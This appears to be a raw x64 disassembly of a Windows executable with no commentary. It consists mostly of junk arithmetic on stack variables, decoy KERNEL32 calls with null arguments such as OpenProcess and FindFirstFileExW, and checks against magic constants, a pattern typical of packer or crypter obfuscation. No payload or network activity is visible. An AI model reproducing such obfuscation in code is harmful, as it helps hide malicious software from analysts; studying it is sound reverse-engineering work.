mov rcx, qword [rsp + 0xab18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1f8], rax
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1b90]
and eax, ecx
mov word [rsp + 0x1ba8], ax
mov eax, dword [rsp + 0x571c]
movzx ecx, al
mov eax, dword [rsp + 0x5758]
shl eax, cl
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb1e0], rax
lea rcx, [rsp + 0x192e0]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x577c], eax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8038]
sar eax, cl
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x378]
xor eax, ecx
mov byte [rsp + 0x33b], al
mov eax, dword [rsp + 0x5784]
add eax, 0xc2
mov dword [rsp + 0x5784], eax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b94]
add eax, ecx
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [0x1401e3500], rax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb228]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
jmp 0x140011d5c
lea rax, [rsp + 0x1b9c]
mov qword [rsp + 0xb260], rax
cmp dword [rsp + 0x5710], 0x1e21
je 0x140012437
mov dword [rsp + 0x20], 0x3fdf
mov r9d, 0x187e
mov r8d, 0x2f59
mov edx, 0x21f
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x577c], eax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x377]
sub eax, ecx
mov byte [rsp + 0x378], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x72c6
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5740], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3b7e
mov r9d, 0x25dc
mov r8d, 0x6ac5af2b
mov edx, 1
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x5738], eax
mov eax, dword [rsp + 0x571c]
mov ecx, dword [rsp + 0x5758]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x5710]
add eax, 0x29
mov dword [rsp + 0x5710], eax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401a8038]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xb1f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb210], rax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a8038], al
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0x91a0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xab18]
movzx ecx, al
mov rax, qword [rsp + 0xb210]
shl rax, cl
mov qword [rsp + 0xb258], rax
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x574c], eax
mov eax, dword [rsp + 0x5754]
movzx ecx, al
mov eax, dword [rsp + 0x56fc]
shr eax, cl
mov dword [rsp + 0x4bd4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x5764]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
mov ecx, 0xc
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5788], eax
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
add eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x2fe]
and eax, ecx
mov byte [rsp + 0x377], al
mov rax, qword [rsp + 0xb258]
mov rcx, qword [rsp + 0xab18]
sub rcx, rax
mov rax, rcx
mov qword [0x1401e3500], rax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb210]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1b90]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb228], rax
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x5758]
movzx ecx, al
mov eax, dword [rsp + 0x571c]
sar eax, cl
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
xor eax, ecx
mov word [rsp + 0x1b9c], ax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
and eax, ecx
mov byte [0x1401a8038], al
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x2fe]
add eax, ecx
mov byte [rsp + 0x33b], al
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x2fe], al
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x571c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb210]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
sub eax, ecx
mov word [rsp + 0x1b80], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x378]
sub eax, ecx
mov byte [rsp + 0x33b], al
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb210]
add rcx, rax
mov rax, rcx
mov qword [0x1401e3500], rax
mov rax, qword [rsp + 0xab18]
movzx ecx, al
mov rax, qword [rsp + 0xab58]
shl rax, cl
mov qword [rsp + 0x9bb8], rax
mov rax, qword [rsp + 0xb210]
movzx ecx, al
mov rax, qword [rsp + 0xb258]
sar rax, cl
mov qword [rsp + 0xab58], rax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x33b]
xor eax, ecx
mov byte [rsp + 0x378], al
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
jmp 0x140011f14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb228]
mov qword [rsp + 0xb268], rax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x56fc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov dword [rsp + 0x578c], 0x2bb8
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x5764]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
cmp dword [rsp + 0x572c], 0x6574
jb 0x1400127e8
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x188c], ax
lea rcx, [rsp + 0x192e0]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [0x1401a8374], ax
movsx eax, word [rsp + 0x1b9c]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b80], ax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x378]
add eax, ecx
mov byte [rsp + 0x33b], al
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1b8c]
and eax, ecx
mov word [rsp + 0x188c], ax
mov eax, dword [rsp + 0x4a78]
mov ecx, dword [rsp + 0x5764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0xb268]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb228], rax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb1f8]
movzx ecx, al
mov rax, qword [rsp + 0xb258]
sar rax, cl
mov qword [rsp + 0xab18], rax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x377]
or eax, ecx
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xb1f8]
xor rcx, rax
mov rax, rcx
mov qword [0x1401e3500], rax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b94], ax
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1f8], rax
mov eax, dword [rsp + 0x4a78]
mov ecx, dword [0x1401a8370]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0x1b80], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x377]
sub eax, ecx
mov byte [rsp + 0x33b], al
mov eax, dword [rsp + 0x571c]
mov ecx, dword [rsp + 0x5764]
and ecx, eax
mov eax, ecx
mov dword [0x1401e34f8], eax
mov eax, dword [rsp + 0x572c]
sub eax, 0x81
mov dword [rsp + 0x572c], eax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb210]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x378]
sar eax, cl
mov byte [rsp + 0x2fe], al
mov eax, dword [rsp + 0x5754]
movzx ecx, al
mov eax, dword [rsp + 0x56fc]
shl eax, cl
mov dword [rsp + 0x4bd4], eax
mov eax, dword [rsp + 0x4a78]
mov ecx, dword [rsp + 0x5764]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x571c], eax
lea rcx, [rsp + 0x192e0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1ba8]
movzx ecx, word [rsp + 0x1b90]
and eax, ecx
mov word [rsp + 0x188c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
jmp 0x14001248e
movsx eax, word [rsp + 0x1b9c]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b80], ax
lea rcx, [rsp + 0x18540]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x188c]
add eax, ecx
mov word [0x1401a8378], ax
mov rax, qword [rsp + 0xb258]
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401a8038]
sub eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x1b90]
add eax, ecx
mov word [rsp + 0x188c], ax
movsx eax, word [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b80], ax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [rsp + 0x5758]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x5754]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0xb1e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x2fe]
or eax, ecx
mov byte [rsp + 0x378], al
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x188c]
xor eax, ecx
mov word [0x1401a8378], ax
mov eax, dword [rsp + 0x5720]
add eax, 0xee
mov dword [rsp + 0x5720], eax
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1b9c]
shl eax, cl
mov word [rsp + 0x1ba0], ax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x378]
sar eax, cl
mov byte [rsp + 0x2fe], al
mov rax, qword [rsp + 0xb270]
mov rcx, qword [0x1401e3500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xb258]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [0x1401e34f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
cmp dword [rsp + 0x5720], 0x1175a
jb 0x14001283c
mov eax, dword [rsp + 0x56fc]
imul eax, dword [rsp + 0x4bd4]
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb268]
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [rsp + 0x1bb0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xb1f8]
sub rcx, rax
mov rax, rcx
mov qword [0x1401a8380], rax
cmp dword [rsp + 0x576c], 0x955c
jbe 0x140012dc8
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb258]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0x188c], ax
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x571c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x56fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0xb220]
mov qword [rsp + 0xb278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb278]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb228], rax
lea rcx, [rsp + 0x19340]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b80]
sar eax, cl
mov word [0x1401a8374], ax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x378]
or eax, ecx
mov byte [rsp + 0x377], al
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1b80]
and eax, ecx
mov rcx, qword [rsp + 0xb260]
mov word [rcx], ax
mov eax, dword [rsp + 0x576c]
sub eax, 0x90
mov dword [rsp + 0x576c], eax
movzx eax, word [0x1401a8378]
movzx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1b84], ax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x2fe]
sub eax, ecx
mov byte [rsp + 0x378], al
mov edx, 0x54978f
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5770], eax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ba0], ax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x571c]
mov ecx, dword [rsp + 0x5758]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [0x1401a8038], al
movsx eax, word [rsp + 0x1b9c]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0xb228]
movzx ecx, al
mov rax, qword [rsp + 0x91a0]
shl rax, cl
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x33b]
sar eax, cl
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xb258]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0x9bb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb268]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [rsp + 0x571c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5758], eax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x56fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
lea rdx, [rsp + 0x574c]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x573c], eax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x2fe]
add eax, ecx
mov byte [rsp + 0x377], al
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a8374], ax
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x1b8c]
and eax, ecx
mov word [rsp + 0x188c], ax
jmp 0x140012a28
lea rax, [rsp + 0xb258]
mov qword [rsp + 0xb280], rax
movsx eax, word [rsp + 0x1b80]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x1bb0]
movsx edx, word [rsp + 0x1ba0]
sub ecx, edx
cmp eax, ecx
je 0x140012e90
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xab58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb258], rax
mov dword [rsp + 0x5790], 0xbb72
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x115], al
mov eax, dword [rsp + 0x56fc]
movzx ecx, al
mov eax, dword [rsp + 0x5754]
shr eax, cl
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb268]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb1e0], rax
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x5794], al
cmp byte [rsp + 0x5794], 0x11
je 0x140012eae
jmp 0x140012ecd
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [rsp + 0x1b80]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
jmp 0x14015bb56
lea rax, [rsp + 0x1b8c]
mov qword [rsp + 0xb288], rax
mov eax, dword [rsp + 0x5758]
mov dword [rsp + 0x5798], eax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x4bd4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
lea rcx, [rsp + 0x18568]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [0x1401e3500]
mov qword [rsp + 0xb290], rax
movabs rax, 0x71e646cb621027
cmp qword [rsp + 0xb290], rax
je 0x140012f3a
jmp 0x140012fc7
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x377]
add eax, ecx
mov byte [rsp + 0x378], al
movsx eax, word [rsp + 0x1bb0]
movsx ecx, word [rsp + 0x1b9c]
and eax, ecx
mov word [0x1401a8374], ax
movzx eax, word [rsp + 0x1b90]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
mov r8, qword [rsp + 0xb228]
mov edx, dword [rsp + 0x4a78]
mov ecx, dword [rsp + 0x56fc]
call fcn.14015c040
jmp 0x140012ffe
lea rax, [rsp + 0xb258]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [0x1401e3500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa878], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov qword [rsp + 0xb2a0], rax
cmp qword [rsp + 0xb2a0], 0
je 0x14001305a
movabs rax, 0x722d664a02c272
cmp qword [rsp + 0xb2a0], rax
je 0x14015ba97
jmp 0x14015bae2
lea rcx, [rsp + 0x18590]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0xb268]
mov qword [0x1401e34f0], rax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb268]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
movzx eax, word [rsp + 0x1b80]
mov word [rsp + 0x1bb4], ax
movzx eax, byte [rsp + 0x115]
imul eax, eax, 0xaa
mov byte [rsp + 0x2fe], al
lea rcx, [rsp + 0x19310]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [rsp + 0x1bb8], ax
cmp dword [rsp + 0x5700], 0xb6b1
jbe 0x140013464
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5740], eax
movzx eax, word [rsp + 0x1ba8]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0x91a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4a78]
mov ecx, dword [rsp + 0x5764]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5758], eax
mov rcx, qword [rsp + 0xb230]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5788], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb228]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb8]
add rcx, rax
mov rax, rcx
mov qword [0x1401e3500], rax
mov rax, qword [rsp + 0xa878]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb210], rax
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x377]
and eax, ecx
mov byte [rsp + 0x2fe], al
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
add eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
or eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401a8038]
xor eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xb298]
mov qword [rsp + 0xb2a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb2a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb1f8], rax
mov eax, dword [rsp + 0x5758]
movzx ecx, al
mov eax, dword [0x1401a8370]
sar eax, cl
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb258]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401e3500], rax
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x377]
sub eax, ecx
mov byte [rsp + 0x2fe], al
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
